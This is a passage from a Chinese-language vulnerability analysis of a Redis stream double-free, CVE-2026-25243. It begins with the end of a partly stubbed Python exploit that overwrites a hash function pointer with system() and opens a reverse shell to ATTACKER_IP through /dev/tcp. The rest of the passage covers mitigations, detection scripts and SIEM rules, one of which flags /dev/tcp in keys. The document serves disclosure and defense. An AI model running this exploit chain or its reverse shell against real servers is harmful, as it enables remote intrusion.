    dict_ptr = arbitrary_read(db_ptr + 0x0)
    dicttype_ptr = arbitrary_read(dict_ptr + 0x8)
    hashfunc_offset = 0x0  # dictType 首字段即 hashFunction
    arbitrary_write(dicttype_ptr + hashfunc_offset, system_addr)
    print("[*] hashFunction 已覆盖为 system")

    # 4.5 触发 RCE
    cmd = f"id;bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1"
    print(f"[*] 触发 RCE, 命令: {cmd}")
    r.exists(cmd)   # dictFind → system(cmd)


def build_fake_dictentry():
    """构造伪 dictEntry 二进制 (64字节布局)"""
    # 具体字段值需配合堆风水, 此处给出框架
    return b"A" * 64


def arbitrary_read(addr):
    """通过伪 robj->ptr=addr, GET 对应 key 实现任意读 (框架)"""
    # 实现需先把伪 dictEntry 的 val 指向伪 robj, 伪 robj->ptr=addr
    return int.from_bytes(b"\x00" * 8, "little")


def arbitrary_write(addr, value):
    """通过伪 robj->ptr=addr, SET 对应 key 实现任意写 (框架)"""
    pass


# ----------------------------------------------------------------------
# 5. 主流程
# ----------------------------------------------------------------------
def main():
    print("=" * 60)
    print("CVE-2026-25243 Redis Stream NACK Double-Free RCE")
    print("=" * 60)

    payload = build_stream_rdb_payload()
    print(f"[*] 恶意 RDB payload 大小: {len(payload)} bytes")

    trigger_double_free(payload)
    heap_spray_and_exploit()


if __name__ == "__main__":
    main()

说明:上述脚本为框架,其中 RDB payload 的 listpack 部分、各偏移量(PIE/libc/GOT/dictType)需根据目标 Redis 的具体版本与编译产物校准。真实的稳定利用还需要处理 jemalloc tcache 的随机化、线程绑定以及 Redis 事件循环时序等细节。


8. 正常 Stream 操作 vs 恶意 Stream 操作对比

下表对比正常 Stream 消费组操作与本次漏洞利用的命令序列差异,便于理解攻击者的异常行为特征:

阶段 正常 Stream 操作 恶意 Stream 操作(CVE-2026-25243) 异常点
数据载入 XADD 逐条写入;XGROUP CREATE 建组 RESTORE 一次性载入二进制 stream,内含畸形消费组结构 用 RESTORE 载入非自产 stream 数据
消费者PEL形态 每条 rawid 仅归属一个消费者 同一 rawid 同时出现在 A、B 两个消费者的 PEL 中 PEL 出现 rawid 重复归属
消费者创建 XGROUP CREATECONSUMER 正常注册 由 RESTORE 反序列化直接产生 无显式 CREATECONSUMER
释放操作 删除消费者前通常先 XACK 清理 PEL 连续两次 XGROUP DELCONSUMER,无 XACK 短时间内对同组连续 DELCONSUMER
释放后行为 PEL 清空,NACK 单次释放 同一 NACK 被释放两次(double free) 重复释放同一 chunk
后续命令 正常业务读写 大量等长 SET(堆风水)+ EVAL 泄露 异常 spray 与 Lua 调用
终态 业务正常 EXISTS <shell命令> 触发 system() 字典查找执行系统命令

9. 防御方案

9.1 升级到修复版本

最根本的防御是升级到 Redis 8.8.0 及以上。PR #15081 对 stream 消费组/NACK 的存储模型做了重构,使 NACK 与消费者的归属关系在数据结构层面唯一化,从根上消除了"一个 NACK 被多个消费者共用"的可能。

受影响版本 建议
Redis 6.2.x 升级至 8.8.0+,或评估 6.2 分支是否提供 backport 补丁
Redis 7.4.x 升级至 8.8.0+
Redis 8.6.x 升级至 8.8.0+
Redis 8.8.0+ 不受影响

9.2 ACL / rename-command 收敛高危命令

漏洞利用依赖 RESTORE、EVAL/EVALSHA、XGROUP 等命令。应通过 Redis ACL 限制普通用户对这些命令的访问:

# 创建受限用户, 仅授予业务所需命令
ACL SETUSER appuser on >strongpassword ~app:* +get +set +xadd +xread +xreadgroup -@dangerous

# 禁用或重命名高危命令 (redis.conf)
rename-command RESTORE ""
rename-command EVAL ""
rename-command EVALSHA ""
rename-command XGROUP ""   # 若业务不需要消费组则禁用; 否则用ACL细控

9.3 网络隔离

Redis 设计上不假定面对不可信网络。严禁将 Redis 直接暴露到公网。应通过 VPC 私有网络、安全组、防火墙等手段限制只有可信应用可访问 Redis 端口。

9.4 内存安全编译选项

对于自行编译 Redis 的场景,可启用额外的内存安全编译选项,提升利用难度:

# 编译时启用asan/tsan (仅限测试环境, 有性能开销)
make SANITIZER=address

# 生产环境可考虑启用 jemalloc 的 double-free 检测
# 配置环境变量
MALLOC_CONF="abort_conf:true,retention:false"

jemalloc 在检测到 double free 时默认会 abort 进程,从而阻断利用链的后续步骤(信息泄露与指针劫持)。这是在不升级版本情况下的有效缓解措施。


10. 检测方法

10.1 Redis MONITOR 命令检测异常 XGROUP 操作

MONITOR 会实时输出 Redis 处理的所有命令。可编写检测脚本识别异常模式:

# 检测规则: 短时间内对同一消费组连续执行多次 DELCONSUMER, 且无 intervening XACK
import re
from collections import defaultdict

suspicious = defaultdict(list)

def on_command(cmd_line, ts):
    # 匹配: XGROUP DELCONSUMER <group> <consumer>
    m = re.match(r'XGROUP DELCONSUMER (\S+) (\S+)', cmd_line)
    if m:
        group = m.group(1)
        suspicious[group].append((ts, cmd_line))
        # 若 5 秒内对同组出现 >=2 次 DELCONSUMER, 告警
        recent = [x for x in suspicious[group] if ts - x[0] < 5]
        if len(recent) >= 2:
            alert(f"[!] 可疑双重DELCONSUMER: group={group}, "
                  f"cmds={[x[1] for x in recent]}")

10.2 SIEM 规则检测双重 DELCONSUMER 模式

在企业 SIEM 中,可对 Redis 审计日志/Audit 功能输出的事件配置以下检测规则:

检测规则 触发条件 风险等级 说明
规则1:连续双重 DELCONSUMER 同一 group 在 10s 内出现 ≥2 次 XGROUP DELCONSUMER 高 漏洞利用核心特征
规则2:RESTORE 后紧跟 DELCONSUMER RESTORE 载入 stream 类型 key 后 60s 内出现 XGROUP DELCONSUMER 高 攻击者载入恶意 stream 后立即触发
规则3:DELCONSUMER 后异常 SET spray DELCONSUMER 后 30s 内出现大量等长(约 64 字节)SET 中 堆风水 spray 行为
规则4:EVAL 泄露模式 EVAL 含 tostring/string.format/debug.getinfo 且参数为函数 中 Lua 闭包信息泄露
规则5:EXISTS 异常命令 EXISTS/GET 的 key 含 shell 元字符(;、` 、&、/dev/tcp`) 高
-- 示例 Splunk/SIEM SPL 检测双重DELCONSUMER
index=redis_audit command="XGROUP DELCONSUMER"
| bucket _time span=10s
| stats count as delconsumer_count dc(consumer) as distinct_consumers by group, _time
| where delconsumer_count >= 2
| eval risk="high", reason="疑似 CVE-2026-25243 双重释放利用"

10.3 运行时内存检测

启用 jemalloc 的 opt.abort_conf 与 Redis 的崩溃日志,可在 double free 发生时立即 abort 并生成崩溃报告,便于运维及时发现异常:

# redis.conf
enable-protected-configs yes
# 启动前设置环境变量
export MALLOC_CONF="abort_conf:true,prof:true,prof_prefix:/var/log/redis/jeprof"

当攻击者触发双重释放时,jemalloc 会检测到 bin-64 中重复入链的 chunk 并主动 abort,在日志中留下类似 jemalloc(): arena.c:xxxx:Assertion ... double free detected 的记录,配合 SIEM 规则可实现近实时告警。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。